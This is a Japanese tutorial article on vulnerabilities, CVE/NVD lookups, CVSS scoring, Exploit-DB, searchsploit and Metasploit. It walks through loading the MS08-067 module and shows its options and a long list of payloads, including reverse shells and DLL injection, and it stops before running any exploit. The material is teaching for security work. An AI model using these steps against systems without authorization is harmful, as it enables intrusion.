12
9

More than 1 year has passed since last update.

脆弱性とエクスプロイトについて理解する

Last updated at Posted at 2022-05-18

はじめに

攻撃者1は偵察行為から得た情報を基に脆弱性を発見し、脆弱性に対する攻撃を確立させます。

脆弱性に対する考え方を身につけることはセキュリティ対策の検討に役立ちます。

本記事はエンジニアなら知っておくべき脆弱性の概要や、攻撃者の視点から脆弱性を調査するための方法について記載しています。

脆弱性

脆弱性はシステムにおけるアプリケーションの設計及び実装の欠陥です。脆弱性と攻撃者の脅威が紐づくことでリスクが生じます。従って、リスクを低減するためには攻撃ベクトルとなる脆弱性を塞ぐために適切なセキュリティ対策が必要です。

脆弱性はさまざまな種類が存在します。例えば、OSやMWなどカーネルやライブラリの隙を突いて、特権の昇格を狙うものや、アプリケーション、認証で使用されるクレデンシャル情報、フィッシングメール等いくつかのカテゴリに分類できます。

セキュリティを維持し続けるためには脆弱性情報を収集し、パッチ適用や、セキュリティ対策を定期的に見直すなど日々の運用が重要です。

脆弱性は既知の脆弱性と未知の脆弱性の2種類が存在し、未知の脆弱性については公開されていないため、ゼロデイと呼ばれます。また、脆弱性を防ぐために開発ベンダによるパッチなどが公開されるまでに悪用されて行われる攻撃をゼロデイ攻撃と呼びます。

CVE

脆弱性が公開された場合、MITRE社によってCVEが採番されます。

CVEは脆弱性固有の識別子を示し、脆弱性情報データベースによって管理されます。フォーマットはCVE-YEAR-IDNUMBERです。

NATIONAL VULNERABILITY DATABASE(NVD)NISTによって管理さされている脆弱性情報データベースです。Full ListingページからすべてのCVEを確認することができます。

NVDで新しい脆弱性を調査する場合はSearch Vulnerability Databaseページより脆弱性情報の検索ができます。

例えば2021年12月に公表されたlog4jについて調査したい場合、下記のようにキーワードを入力してSearchボタンを押します。

スクリーンショット 2022-05-12 23.43.47.png

該当するCVE番号の情報が出力されます。

スクリーンショット 2022-05-12 23.44.03.png

任意のCVE番号を選択すると、詳細が確認できます。CVSSのV2とV3系についてそれぞれのベーシックスコアを確認することができます。CVSSについては後述します。

CVEが採番されたばかりだと、ベーシックスコアはまだ計算中のため、スコアが表示されていない場合があります。

スクリーンショット 2022-05-12 23.44.16.png

また、CVEのサイトよりSearch CVE Listページからも同様の情報を検索することができます。下記のようにキーワードを入力してSubmitボタンを押します。

スクリーンショット 2022-05-12 23.49.37.png

該当するCVE番号の情報が出力されます。(詳細画面から最終的に辿り着く脆弱性情報は同じNVDの情報です。)

スクリーンショット 2022-05-12 23.49.44.png

上記CVEのサイトは従来使用されてきたサイトですが、新しいサイト(Beta版)としてCVEが公開されています。

スクリーンショット 2022-05-14 20.34.53.png

今のところキーワード検索には対応していないため、CVE IDとしてCVE-YEAR-IDNUMBERを入力することでCVEの詳細を確認することができます。

スクリーンショット 2022-05-14 20.40.50.png

CVSS

CVSSは共通脆弱性評価システムと呼ばれ、情報システムの脆弱性に対するオープンで汎用的な評価手法として、ベンダーに依存しない共通の評価方法を提供しています。CVSSを用いることで、脆弱性の深刻度を同一の基準の下で定量的に比較できます。

スコアはいくつかのメトリックに依存する式に基づいて計算されます。CVSSスコアのコンポーネントによるロジックは、上記で紹介したNISTのNVDサイトから、Common Vulnerability Scoring System Calculatorページより確認できます。

CVSSにはv2.0とv3.Xの二つのバージョンが存在し、現在はv3.1のバージョンが最新2です。
Vulnerability Metricsページの通りにバージョン毎に、スコアレンジによるセキュリティレベルは異なります。また、CVSSスコアの計算ロジックも変わっています。

CVSSについて理解したい場合はIPAのサイトより共通脆弱性評価システムCVSS v3概説が参考になります。

Exploit

エクスプロイトは脆弱性を悪用した攻撃です。

EXPLOIT DATABASEは、脆弱性を評価するに役立つコンテンツです。ソフトウェアまたはアプリケーションの名前、作成者、およびバージョン毎のエクスプロイトなどをデータベースにて管理しています。

概念実証(PoC3)を行うための手段として、特定の脆弱性を悪用するために使用されるコードのスニペットを探すことができます。

スクリーンショット 2022-05-13 0.15.47.png

脆弱性の調査方法

攻撃者は偵察行為から得たコンテンツの情報を基に脆弱性を調査します。
偵察行為については以前書いたContent Discovery Webアプリケーションに対する偵察行為を参照。

調査には様々なツールや、脆弱性に役立つサイトの情報が使用されます。

脆弱性.png

※本記事で記載していツールを個人の環境や自システム以外で実施する場合、不正アクセス行為の禁止等に関する法律に触れる可能性があるため、不正の目的での使用はしないでください。

searchsploit

searchsploitはエクスプロイトデータベースのコマンドライン検索ツールでです。
searchsploitの使い方は上記で紹介したEXPLOIT DATABASEのサイトで公開されているSearchSploit – The Manualに記載されています。

Kali Linuxでは最初からインストールされています。ターミナルからsearchsploitコマンドを実行してエクスプロイトの検索を行います。下記の場合ubuntu 19.10をキーワードに検索した例です。

  • エクスプロイトの検索
    $ searchsploit <キーワード>
kali@kali:~$ searchsploit ubuntu 19.10
------------------------------------------------------------- ---------------------------------
 Exploit Title                                               |  Path
------------------------------------------------------------- ---------------------------------
Ubuntu 19.10 - Refcount Underflow and Type Confusion in shif | linux/dos/47693.txt
Ubuntu 19.10 - ubuntu-aufs-modified mmap_region() Breaks Ref | linux/dos/47692.txt
------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Pathに出力されたファイルを参照することで、エクスプロイトの情報を確認できます。
上記47693.txtの場合、以下Pathを参照してファイルを確認します。

cat /usr/share/exploitdb/exploits/linux/dos/47693.txt

ポイントは検索の仕組みとしてOR演算子ではなく、 AND演算子を使用しているため、バージョンなど条件を絞り込んだ方が出力の結果が見やすくなります。

Metasploit Framework

Metasploitは最も広く使用されているフレームワークです。情報収集からエクスプロイトまで、すべてのフェーズをサポートする強力なツールです。

Metasploitはオープンソースとして公開されているMetasploit Frameworkと、有償版(GUI含む)のMetasploit Proの2つのバージョンが存在します。

本記事では無料で使用可能となっているMetasploit Frameworkについて簡潔に紹介しています。
有償版のProとの機能差異については公式サイトMetasploit Pen Testing Toolより確認できます。

Metasploit Frameworkの主なコンポーネントは以下になります。

  • msfconsole:コマンドラインインターフェイス(CLI)
  • モジュール:エクスプロイト、スキャナー、ペイロードなどのサポートモジュール
  • ツール:脆弱性の調査、脆弱性の評価、または侵入テストに役立つスタンドアロンツール

モジュール配下ディレクトリは下記のように、様々なモジュールが格納されています。

kali@kali:~$ tree -L 1 /usr/share/metasploit-framework/modules/
/usr/share/metasploit-framework/modules/
├── auxiliary
├── encoders
├── evasion
├── exploits
├── nops
├── payloads
└── post

7 directories, 0 files

msfconsoleの起動

msfconsoleは下記のコマンドを実行して起動します。
なお、コンソールに表示されるmsf5の文字はMetasploitのバージョンによって違います。

  • msfconsoleの起動
    $ msfconsole
kali@kali:~$ msfconsole 
                                                  
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v5.0.101-dev                         ]
+ -- --=[ 2049 exploits - 1108 auxiliary - 344 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Use help <command> to learn more about any command

msf5 >

コマンドラインはほとんどのLinuxコマンドをサポートしますが、出力リダイレクトなど一部の機能についてはサポートしていないため、使用することはできません。また、タブ補完機能やhistoryコマンドを使用して、以前に入力したコマンドを表示できます。アスキーアートは起動する度に表示が変わる演出です。

エクスプロイトの検索

エクスプロイトを検索する場合はsearchコマンドコマンドを実行して指定された検索パラメータに関連するモジュールをMetasploitFrameworkデータベースから検索します。CVE番号、エクスプロイト名(eternalblue、heartbleedなど)をキーワードに使用することができます。

  • エクスプロイトの検索
    msf5> search <キーワード>
    msf5> search <キーワード> edb:<ID>
msf5 > search ldap

Matching Modules
================

   #   Name                                                   Disclosure Date  Rank       Check  Description
   -   ----                                                   ---------------  ----       -----  -----------
   0   auxiliary/admin/http/grafana_auth_bypass               2019-08-14       normal     No     Grafana 2.0 through 5.2.2 authentication bypass for LDAP and OAuth
   1   auxiliary/admin/http/telpho10_credential_dump          2016-09-02       normal     No     Telpho10 Backup Credentials Dumper
   2   auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass  2020-04-09       normal     Yes    VMware vCenter Server vmdir Authentication Bypass
   3   auxiliary/dos/wireshark/cldap                          2011-03-01       normal     No     Wireshark CLDAP Dissector DOS
   4   auxiliary/dos/wireshark/ldap                           2008-03-28       normal     No     Wireshark LDAP Dissector DOS
   5   auxiliary/gather/vmware_vcenter_vmdir_ldap             2020-04-09       normal     No     VMware vCenter Server vmdir Information Disclosure
   6   auxiliary/gather/xerox_workcentre_5xxx_ldap                             normal     No     Xerox Workcentre 5735 LDAP Service Redential Extractor
   7   auxiliary/scanner/http/gitlab_user_enum                2014-11-21       normal     No     GitLab User Enumeration
   8   auxiliary/scanner/http/symantec_brightmail_ldapcreds   2015-12-17       normal     No     Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability
   9   exploit/linux/http/pineapp_ldapsyncnow_exec            2013-07-26       excellent  Yes    PineApp Mail-SeCure ldapsyncnow.php Arbitrary Command Execution
   10  exploit/linux/http/zimbra_xxe_rce                      2019-03-13       excellent  Yes    Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF
   11  exploit/linux/misc/jenkins_ldap_deserialize            2016-11-16       excellent  Yes    Jenkins CLI HTTP Java Deserialization Vulnerability
   12  exploit/multi/http/phpldapadmin_query_engine           2011-10-24       excellent  Yes    phpLDAPadmin query_engine Remote PHP Code Injection
   13  exploit/unix/webapp/zeroshell_exec                     2013-09-22       excellent  Yes    ZeroShell Remote Code Execution
   14  exploit/unix/webapp/zimbra_lfi                         2013-12-06       excellent  Yes    Zimbra Collaboration Server LFI
   15  exploit/windows/http/apache_mod_rewrite_ldap           2006-07-28       great      Yes    Apache Module mod_rewrite LDAP Protocol Buffer Overflow
   16  exploit/windows/ldap/imail_thc                         2004-02-17       average    No     IMail LDAP Service Buffer Overflow
   17  exploit/windows/ldap/pgp_keyserver7                    2001-07-16       good       No     Network Associates PGP KeyServer 7 LDAP Buffer Overflow
   18  exploit/windows/novell/netiq_pum_eval                  2012-11-15       excellent  Yes    NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution
   19  exploit/windows/smb/ms06_070_wkssvc                    2006-11-14       manual     No     MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow
   20  post/windows/gather/enum_ad_computers                                   normal     No     Windows Gather Active Directory Computers
   21  post/windows/gather/enum_ad_service_principal_names                     normal     No     Windows Gather Active Directory Service Principal Names
   22  post/windows/gather/enum_ad_user_comments                               normal     No     Windows Gather Active Directory User Comments


Interact with a module by name or index, for example use 22 or use post/windows/gather/enum_ad_user_comments                                                                                  

検索結果のRank列の説明についてExploit Rankingから確認できます。

モジュール(エクスプロイト)の設定

以下は実際にエクスプロイトを行うための方法になります。
エクスプロイトの攻撃準備としてuseコマンドを実行し、使用したいエクスプロイトを設定します。

本記事では最も一般的なエクスプロイトの1つとして、windows/smb/s08-067_netapiを例に解説します。

  • モジュールのロード
    msf5> use <モジュールのパス>
msf5 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms08_067_netapi) > 

モジュールの詳細については、infoコマンドを入力することで取得できます。

  • モジュールの情報確認
    msf5> info
出力例
msf5 exploit(windows/smb/ms08_067_netapi) > info

       Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
     Module: exploit/windows/smb/ms08_067_netapi
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-10-28

Provided by:
  hdm <x@hdm.io>
  Brett Moore <brett.moore@insomniasec.com>
  frank2 <frank2@dc949.org>
  jduck <jduck@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Automatic Targeting
  1   Windows 2000 Universal
  2   Windows XP SP0/SP1 Universal
  3   Windows 2003 SP0 Universal
  4   Windows XP SP2 English (AlwaysOn NX)
  5   Windows XP SP2 English (NX)
  6   Windows XP SP3 English (AlwaysOn NX)
  7   Windows XP SP3 English (NX)
  8   Windows XP SP2 Arabic (NX)
  9   Windows XP SP2 Chinese - Traditional / Taiwan (NX)
  10  Windows XP SP2 Chinese - Simplified (NX)
  11  Windows XP SP2 Chinese - Traditional (NX)
  12  Windows XP SP2 Czech (NX)
  13  Windows XP SP2 Danish (NX)
  14  Windows XP SP2 German (NX)
  15  Windows XP SP2 Greek (NX)
  16  Windows XP SP2 Spanish (NX)
  17  Windows XP SP2 Finnish (NX)
  18  Windows XP SP2 French (NX)
  19  Windows XP SP2 Hebrew (NX)
  20  Windows XP SP2 Hungarian (NX)
  21  Windows XP SP2 Italian (NX)
  22  Windows XP SP2 Japanese (NX)
  23  Windows XP SP2 Korean (NX)
  24  Windows XP SP2 Dutch (NX)
  25  Windows XP SP2 Norwegian (NX)
  26  Windows XP SP2 Polish (NX)
  27  Windows XP SP2 Portuguese - Brazilian (NX)
  28  Windows XP SP2 Portuguese (NX)
  29  Windows XP SP2 Russian (NX)
  30  Windows XP SP2 Swedish (NX)
  31  Windows XP SP2 Turkish (NX)
  32  Windows XP SP3 Arabic (NX)
  33  Windows XP SP3 Chinese - Traditional / Taiwan (NX)
  34  Windows XP SP3 Chinese - Simplified (NX)
  35  Windows XP SP3 Chinese - Traditional (NX)
  36  Windows XP SP3 Czech (NX)
  37  Windows XP SP3 Danish (NX)
  38  Windows XP SP3 German (NX)
  39  Windows XP SP3 Greek (NX)
  40  Windows XP SP3 Spanish (NX)
  41  Windows XP SP3 Finnish (NX)
  42  Windows XP SP3 French (NX)
  43  Windows XP SP3 Hebrew (NX)
  44  Windows XP SP3 Hungarian (NX)
  45  Windows XP SP3 Italian (NX)
  46  Windows XP SP3 Japanese (NX)
  47  Windows XP SP3 Korean (NX)
  48  Windows XP SP3 Dutch (NX)
  49  Windows XP SP3 Norwegian (NX)
  50  Windows XP SP3 Polish (NX)
  51  Windows XP SP3 Portuguese - Brazilian (NX)
  52  Windows XP SP3 Portuguese (NX)
  53  Windows XP SP3 Russian (NX)
  54  Windows XP SP3 Swedish (NX)
  55  Windows XP SP3 Turkish (NX)
  56  Windows 2003 SP1 English (NO NX)
  57  Windows 2003 SP1 English (NX)
  58  Windows 2003 SP1 Japanese (NO NX)
  59  Windows 2003 SP1 Spanish (NO NX)
  60  Windows 2003 SP1 Spanish (NX)
  61  Windows 2003 SP1 French (NO NX)
  62  Windows 2003 SP1 French (NX)
  63  Windows 2003 SP2 English (NO NX)
  64  Windows 2003 SP2 English (NX)
  65  Windows 2003 SP2 German (NO NX)
  66  Windows 2003 SP2 German (NX)
  67  Windows 2003 SP2 Portuguese - Brazilian (NX)
  68  Windows 2003 SP2 Spanish (NO NX)
  69  Windows 2003 SP2 Spanish (NX)
  70  Windows 2003 SP2 Japanese (NO NX)
  71  Windows 2003 SP2 French (NO NX)
  72  Windows 2003 SP2 French (NX)

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    445              yes       The SMB service port (TCP)
  SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload information:
  Space: 408
  Avoid: 8 characters

Description:
  This module exploits a parsing flaw in the path canonicalization 
  code of NetAPI32.dll through the Server Service. This module is 
  capable of bypassing NX on some operating systems and service packs. 
  The correct target must be used to prevent the Server Service (along 
  with a dozen others in the same process) from crashing. Windows XP 
  targets seem to handle multiple successful exploitation events, but 
  2003 targets will often crash or hang on subsequent attempts. This 
  is just the first version of this module, full support for NX bypass 
  on 2003, along with other platforms, is still in development.

References:
  https://cvedetails.com/cve/CVE-2008-4250/
  OSVDB (49243)
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/MS08-067
  http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos

エクスプロイトを行うためには使用するモジュールによって設定するパラメータが異なります。
必要なパラメータはshow opotionを実行して確認します。Requiredがyesになっている場合は設定が必要な項目です。

  • モジュールの設定値確認
    msf5> show options
msf5 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

コマンドを実行すると、Module optionsPayload optionsExploit target毎に設定値が表示されます。

エクスプロイト毎に対応可能なペイロードは以下のコマンドを実行します。

  • ペイロードの確認
    msf5> show payloads
出力例
msf5 exploit(windows/smb/ms08_067_netapi) > show payloads

Compatible Payloads
===================

   #    Name                                                Disclosure Date  Rank    Check  Description
   -    ----                                                ---------------  ----    -----  -----------
   0    generic/custom                                                       manual  No     Custom Payload
   1    generic/debug_trap                                                   manual  No     Generic x86 Debug Trap
   2    generic/shell_bind_tcp                                               manual  No     Generic Command Shell, Bind TCP Inline
   3    generic/shell_reverse_tcp                                            manual  No     Generic Command Shell, Reverse TCP Inline
   4    generic/tight_loop                                                   manual  No     Generic x86 Tight Loop
   5    windows/adduser                                                      manual  No     Windows Execute net user /ADD
   6    windows/dllinject/bind_hidden_ipknock_tcp                            manual  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   7    windows/dllinject/bind_hidden_tcp                                    manual  No     Reflective DLL Injection, Hidden Bind TCP Stager
   8    windows/dllinject/bind_ipv6_tcp                                      manual  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   9    windows/dllinject/bind_ipv6_tcp_uuid                                 manual  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   10   windows/dllinject/bind_named_pipe                                    manual  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   11   windows/dllinject/bind_nonx_tcp                                      manual  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   12   windows/dllinject/bind_tcp                                           manual  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   13   windows/dllinject/bind_tcp_rc4                                       manual  No     Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   14   windows/dllinject/bind_tcp_uuid                                      manual  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   15   windows/dllinject/reverse_hop_http                                   manual  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   16   windows/dllinject/reverse_ipv6_tcp                                   manual  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   17   windows/dllinject/reverse_nonx_tcp                                   manual  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   18   windows/dllinject/reverse_ord_tcp                                    manual  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   19   windows/dllinject/reverse_tcp                                        manual  No     Reflective DLL Injection, Reverse TCP Stager
   20   windows/dllinject/reverse_tcp_allports                               manual  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   21   windows/dllinject/reverse_tcp_dns                                    manual  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   22   windows/dllinject/reverse_tcp_rc4                                    manual  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   23   windows/dllinject/reverse_tcp_uuid                                   manual  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   24   windows/dns_txt_query_exec                                           manual  No     DNS TXT Record Payload Download and Execution
   25   windows/exec                                                         manual  No     Windows Execute Command
   26   windows/format_all_drives                                            manual  No     Windows Drive Formatter
   27   windows/loadlibrary                                                  manual  No     Windows LoadLibrary Path
   28   windows/messagebox                                                   manual  No     Windows MessageBox
   29   windows/meterpreter/bind_hidden_ipknock_tcp                          manual  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   30   windows/meterpreter/bind_hidden_tcp                                  manual  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   31   windows/meterpreter/bind_ipv6_tcp                                    manual  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   32   windows/meterpreter/bind_ipv6_tcp_uuid                               manual  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   33   windows/meterpreter/bind_named_pipe                                  manual  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   34   windows/meterpreter/bind_nonx_tcp                                    manual  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   35   windows/meterpreter/bind_tcp                                         manual  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   36   windows/meterpreter/bind_tcp_rc4                                     manual  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   37   windows/meterpreter/bind_tcp_uuid                                    manual  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   38   windows/meterpreter/reverse_hop_http                                 manual  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   39   windows/meterpreter/reverse_https_proxy                              manual  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   40   windows/meterpreter/reverse_ipv6_tcp                                 manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   41   windows/meterpreter/reverse_named_pipe                               manual  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   42   windows/meterpreter/reverse_nonx_tcp                                 manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   43   windows/meterpreter/reverse_ord_tcp                                  manual  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   44   windows/meterpreter/reverse_tcp                                      manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   45   windows/meterpreter/reverse_tcp_allports                             manual  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   46   windows/meterpreter/reverse_tcp_dns                                  manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   47   windows/meterpreter/reverse_tcp_rc4                                  manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   48   windows/meterpreter/reverse_tcp_uuid                                 manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   49   windows/metsvc_bind_tcp                                              manual  No     Windows Meterpreter Service, Bind TCP
   50   windows/metsvc_reverse_tcp                                           manual  No     Windows Meterpreter Service, Reverse TCP Inline
   51   windows/patchupdllinject/bind_hidden_ipknock_tcp                     manual  No     Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   52   windows/patchupdllinject/bind_hidden_tcp                             manual  No     Windows Inject DLL, Hidden Bind TCP Stager
   53   windows/patchupdllinject/bind_ipv6_tcp                               manual  No     Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   54   windows/patchupdllinject/bind_ipv6_tcp_uuid                          manual  No     Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   55   windows/patchupdllinject/bind_named_pipe                             manual  No     Windows Inject DLL, Windows x86 Bind Named Pipe Stager
   56   windows/patchupdllinject/bind_nonx_tcp                               manual  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   57   windows/patchupdllinject/bind_tcp                                    manual  No     Windows Inject DLL, Bind TCP Stager (Windows x86)
   58   windows/patchupdllinject/bind_tcp_rc4                                manual  No     Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   59   windows/patchupdllinject/bind_tcp_uuid                               manual  No     Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
   60   windows/patchupdllinject/reverse_ipv6_tcp                            manual  No     Windows Inject DLL, Reverse TCP Stager (IPv6)
   61   windows/patchupdllinject/reverse_nonx_tcp                            manual  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   62   windows/patchupdllinject/reverse_ord_tcp                             manual  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   63   windows/patchupdllinject/reverse_tcp                                 manual  No     Windows Inject DLL, Reverse TCP Stager
   64   windows/patchupdllinject/reverse_tcp_allports                        manual  No     Windows Inject DLL, Reverse All-Port TCP Stager
   65   windows/patchupdllinject/reverse_tcp_dns                             manual  No     Windows Inject DLL, Reverse TCP Stager (DNS)
   66   windows/patchupdllinject/reverse_tcp_rc4                             manual  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   67   windows/patchupdllinject/reverse_tcp_uuid                            manual  No     Windows Inject DLL, Reverse TCP Stager with UUID Support
   68   windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   manual  No     Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   69   windows/patchupmeterpreter/bind_hidden_tcp                           manual  No     Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
   70   windows/patchupmeterpreter/bind_ipv6_tcp                             manual  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
   71   windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        manual  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   72   windows/patchupmeterpreter/bind_named_pipe                           manual  No     Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
   73   windows/patchupmeterpreter/bind_nonx_tcp                             manual  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   74   windows/patchupmeterpreter/bind_tcp                                  manual  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
   75   windows/patchupmeterpreter/bind_tcp_rc4                              manual  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   76   windows/patchupmeterpreter/bind_tcp_uuid                             manual  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
   77   windows/patchupmeterpreter/reverse_ipv6_tcp                          manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
   78   windows/patchupmeterpreter/reverse_nonx_tcp                          manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   79   windows/patchupmeterpreter/reverse_ord_tcp                           manual  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   80   windows/patchupmeterpreter/reverse_tcp                               manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
   81   windows/patchupmeterpreter/reverse_tcp_allports                      manual  No     Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
   82   windows/patchupmeterpreter/reverse_tcp_dns                           manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
   83   windows/patchupmeterpreter/reverse_tcp_rc4                           manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   84   windows/patchupmeterpreter/reverse_tcp_uuid                          manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
   85   windows/pingback_bind_tcp                                            manual  No     Windows x86 Pingback, Bind TCP Inline
   86   windows/pingback_reverse_tcp                                         manual  No     Windows x86 Pingback, Reverse TCP Inline
   87   windows/shell/bind_hidden_ipknock_tcp                                manual  No     Windows Command Shell, Hidden Bind Ipknock TCP Stager
   88   windows/shell/bind_hidden_tcp                                        manual  No     Windows Command Shell, Hidden Bind TCP Stager
   89   windows/shell/bind_ipv6_tcp                                          manual  No     Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   90   windows/shell/bind_ipv6_tcp_uuid                                     manual  No     Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   91   windows/shell/bind_named_pipe                                        manual  No     Windows Command Shell, Windows x86 Bind Named Pipe Stager
   92   windows/shell/bind_nonx_tcp                                          manual  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   93   windows/shell/bind_tcp                                               manual  No     Windows Command Shell, Bind TCP Stager (Windows x86)
   94   windows/shell/bind_tcp_rc4                                           manual  No     Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   95   windows/shell/bind_tcp_uuid                                          manual  No     Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   96   windows/shell/reverse_ipv6_tcp                                       manual  No     Windows Command Shell, Reverse TCP Stager (IPv6)
   97   windows/shell/reverse_nonx_tcp                                       manual  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   98   windows/shell/reverse_ord_tcp                                        manual  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   99   windows/shell/reverse_tcp                                            manual  No     Windows Command Shell, Reverse TCP Stager
   100  windows/shell/reverse_tcp_allports                                   manual  No     Windows Command Shell, Reverse All-Port TCP Stager
   101  windows/shell/reverse_tcp_dns                                        manual  No     Windows Command Shell, Reverse TCP Stager (DNS)
   102  windows/shell/reverse_tcp_rc4                                        manual  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   103  windows/shell/reverse_tcp_uuid                                       manual  No     Windows Command Shell, Reverse TCP Stager with UUID Support
